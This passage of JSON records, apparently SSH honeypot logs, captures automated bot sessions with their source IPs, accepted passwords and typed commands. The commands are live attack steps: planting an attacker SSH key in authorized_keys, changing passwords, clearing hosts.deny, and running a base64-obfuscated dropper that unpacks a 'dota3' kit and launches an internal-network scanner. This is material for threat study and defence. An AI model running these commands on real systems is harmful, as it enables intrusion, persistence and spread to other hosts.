\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T23:54:36.395834+00:00","kind":"output","latency_ms":437,"data":""},{"seq":48,"at":"2026-08-25T23:54:45.006417+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-25T23:54:45.006852+00:00","kind":"output","latency_ms":null,"data":"mysql"}],"credentials":[{"username":"mysql","password":"mysql!","method":"password","accepted":true,"tier":"other"}]} {"id":"4f297c43-5549-4b8b-91b0-0e20a94077d3","name":"courtly-silent-reindeer","protocol":"ssh","channel_kind":"exec","src_ip":"66.116.242.235","src_port":53858,"username":"ftpsecure","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":645,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T23:02:36.705855+00:00","ended_at":"2026-08-25T23:02:36.911752+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3443,"events":[{"seq":1,"at":"2026-08-25T23:01:59.546040+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T23:02:00.188939+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T23:02:05.134357+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T23:02:05.135058+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T23:02:05.784423+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nXMVhsuXAOXto\\nXMVhsuXAOXto\"|passwd|bash"},{"seq":6,"at":"2026-08-25T23:02:06.425428+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nXMVhsuXAOXto\\nXMVhsuXAOXto\\n\"|passwd"},{"seq":7,"at":"2026-08-25T23:02:07.077463+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T23:02:07.078018+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T23:02:07.722749+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T23:02:08.603539+00:00","kind":"output","latency_ms":880,"data":"15888 15420 467 1025 10698 2467"},{"seq":11,"at":"2026-08-25T23:02:09.248425+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T23:02:09.739360+00:00","kind":"output","latency_ms":491,"data":"-rwxr-xr-x 1 root root 149K Jan 17 2025 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T23:02:10.387600+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T23:02:10.388087+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T23:02:11.032580+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T23:02:11.033064+00:00","kind":"output","latency_ms":null,"data":" 23:02:11 up 5 days, 19:52, 0 user, load average: 0.15, 0.18, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T23:02:11.680309+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T23:02:11.681039+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T23:02:12.328428+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T23:02:12.329106+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T23:02:12.979704+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T23:02:12.980298+00:00","kind":"output","latency_ms":null,"data":"top - 23:02:12 up 5 days, 19:52, 0 user, load average: 0.15, 0.18, 0.1\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T23:02:13.623174+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T23:02:13.624511+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T23:02:14.269440+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T23:02:14.269923+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T23:02:14.916168+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T23:02:14.916738+00:00","kind":"output","latency_ms":null,"data":"ftpsecure"},{"seq":29,"at":"2026-08-25T23:02:15.560908+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T23:02:16.413600+00:00","kind":"output","latency_ms":852,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-25T23:02:17.056445+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T23:02:17.827873+00:00","kind":"output","latency_ms":770,"data":"24G"},{"seq":33,"at":"2026-08-25T23:02:19.883887+00:00","kind":"input","latency_ms":null,"data":"echo \"ftpsecure 1\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T23:02:20.530955+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T23:02:21.058557+00:00","kind":"output","latency_ms":527,"data":""},{"seq":36,"at":"2026-08-25T23:02:22.842421+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T23:02:23.323130+00:00","kind":"output","latency_ms":476,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-25T23:02:23.966127+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T23:02:24.439190+00:00","kind":"output","latency_ms":472,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-25T23:02:25.091303+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T23:02:25.735665+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T23:02:26.238725+00:00","kind":"output","latency_ms":503,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-25T23:02:26.885510+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T23:02:27.350110+00:00","kind":"output","latency_ms":464,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-25T23:02:27.995078+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T23:02:36.707103+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-25T23:02:36.707858+00:00","kind":"output","latency_ms":null,"data":"ftpsecure"}],"credentials":[{"username":"ftpsecure","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"02d24a53-b8a1-475b-9430-57bff8df9935","name":"dapper-umber-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"107.150.103.210","src_port":26246,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":250,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T21:16:25.635410+00:00","ended_at":"2026-08-25T21:16:25.703055+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3446,"events":[{"seq":1,"at":"2026-08-25T21:15:46.303040+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T21:15:46.552356+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T21:15:57.407822+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T21:15:57.408657+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T21:15:57.658726+00:00","kind":"input","latency_ms":null,"data":"echo \"root:0VamHu2EkenX\"|chpasswd|bash"},{"seq":6,"at":"2026-08-25T21:15:57.907403+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-25T21:15:58.156320+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T21:15:58.157427+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T21:15:58.211852+00:00","kind":"output","latency_ms":552,"data":""},{"seq":10,"at":"2026-08-25T21:15:58.406913+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T21:15:58.994323+00:00","kind":"output","latency_ms":586,"data":"15888 0 15888 0 0 0"},{"seq":12,"at":"2026-08-25T21:15:59.243142+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T21:15:59.815714+00:00","kind":"output","latency_ms":571,"data":"-rwxr-xr-x 1 root root 133K Jan 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T21:16:00.065080+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T21:16:00.065749+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-25T21:16:00.316816+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T21:16:00.317368+00:00","kind":"output","latency_ms":null,"data":" 21:16:00 up 5 days, 18:06, 0 user, load average: 0.21, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T21:16:00.569063+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T21:16:00.569509+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T21:16:00.817394+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T21:16:00.817837+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T21:16:01.068098+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T21:16:01.068660+00:00","kind":"output","latency_ms":null,"data":"top - 21:16:01 up 5 days, 18:06, 0 user, load average: 0.21, 0.24, 0.18\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T21:16:01.318431+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T21:16:01.319034+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T21:16:01.569819+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T21:16:01.570466+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T21:16:01.819930+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T21:16:01.820422+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-25T21:16:02.070369+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T21:16:02.681961+00:00","kind":"output","latency_ms":611,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-25T21:16:02.932207+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T21:16:03.399197+00:00","kind":"output","latency_ms":466,"data":"24.02G"},{"seq":34,"at":"2026-08-25T21:16:11.548824+00:00","kind":"input","latency_ms":null,"data":"echo \"root 1qaz@WSX,./\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T21:16:11.797170+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T21:16:12.626639+00:00","kind":"output","latency_ms":828,"data":""},{"seq":37,"at":"2026-08-25T21:16:12.643052+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T21:16:13.196664+00:00","kind":"output","latency_ms":554,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-25T21:16:13.446904+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T21:16:13.962860+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-25T21:16:14.213144+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T21:16:14.477365+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T21:16:14.932299+00:00","kind":"output","latency_ms":469,"data":"1"},{"seq":44,"at":"2026-08-25T21:16:15.183454+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T21:16:15.871698+00:00","kind":"output","latency_ms":687,"data":"1"},{"seq":46,"at":"2026-08-25T21:16:16.123042+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T21:16:25.637152+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T21:16:25.637772+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"1qaz@WSX,./","method":"password","accepted":true,"tier":"other"}]} {"id":"e7a6b43a-b63c-43b3-8917-d473018c1a10","name":"coastal-wooded-francolin","protocol":"ssh","channel_kind":"exec","src_ip":"221.163.5.228","src_port":38312,"username":"prova","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":639,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T21:16:09.535535+00:00","ended_at":"2026-08-25T21:16:09.734162+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3496,"events":[{"seq":1,"at":"2026-08-25T21:15:31.771121+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T21:15:32.410101+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T21:15:37.847212+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T21:15:37.847929+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T21:15:38.488074+00:00","kind":"input","latency_ms":null,"data":"echo -e \"provaprova\\nRTRSHh0IGIFL\\nRTRSHh0IGIFL\"|passwd|bash"},{"seq":6,"at":"2026-08-25T21:15:39.123101+00:00","kind":"input","latency_ms":null,"data":"echo \"provaprova\\nRTRSHh0IGIFL\\nRTRSHh0IGIFL\\n\"|passwd"},{"seq":7,"at":"2026-08-25T21:15:39.760582+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T21:15:39.760890+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T21:15:40.400438+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T21:15:40.965403+00:00","kind":"output","latency_ms":564,"data":"15888 2410 11312 0 2166 0"},{"seq":11,"at":"2026-08-25T21:15:41.603034+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T21:15:42.392198+00:00","kind":"output","latency_ms":788,"data":"-rwxr-xr-x 1 root root 142K Jan 15 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T21:15:43.033124+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T21:15:43.033559+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T21:15:43.669899+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T21:15:43.670367+00:00","kind":"output","latency_ms":null,"data":" 21:15:43 up 5 days, 18:05, 0 user, load average: 0.08, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T21:15:44.312440+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T21:15:44.313098+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T21:15:44.950180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T21:15:44.950698+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T21:15:45.590154+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T21:15:45.590783+00:00","kind":"output","latency_ms":null,"data":"top - 21:15:45 up 5 days, 18:05, 0 user, load average: 0.08, 0.08, 0.07\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T21:15:46.230189+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T21:15:46.230620+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T21:15:46.870870+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T21:15:46.871736+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T21:15:47.509124+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T21:15:47.509664+00:00","kind":"output","latency_ms":null,"data":"prova"},{"seq":29,"at":"2026-08-25T21:15:48.148753+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T21:15:48.896500+00:00","kind":"output","latency_ms":745,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 8"},{"seq":31,"at":"2026-08-25T21:15:49.531435+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T21:15:50.377522+00:00","kind":"output","latency_ms":845,"data":"24G"},{"seq":33,"at":"2026-08-25T21:15:52.324624+00:00","kind":"input","latency_ms":null,"data":"echo \"prova provaprova\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T21:15:52.964282+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T21:15:53.425189+00:00","kind":"output","latency_ms":461,"data":""},{"seq":36,"at":"2026-08-25T21:15:55.231998+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T21:15:55.708342+00:00","kind":"output","latency_ms":474,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-25T21:15:56.346871+00:00","kind":"input","latency_ms":null,"data":"cat 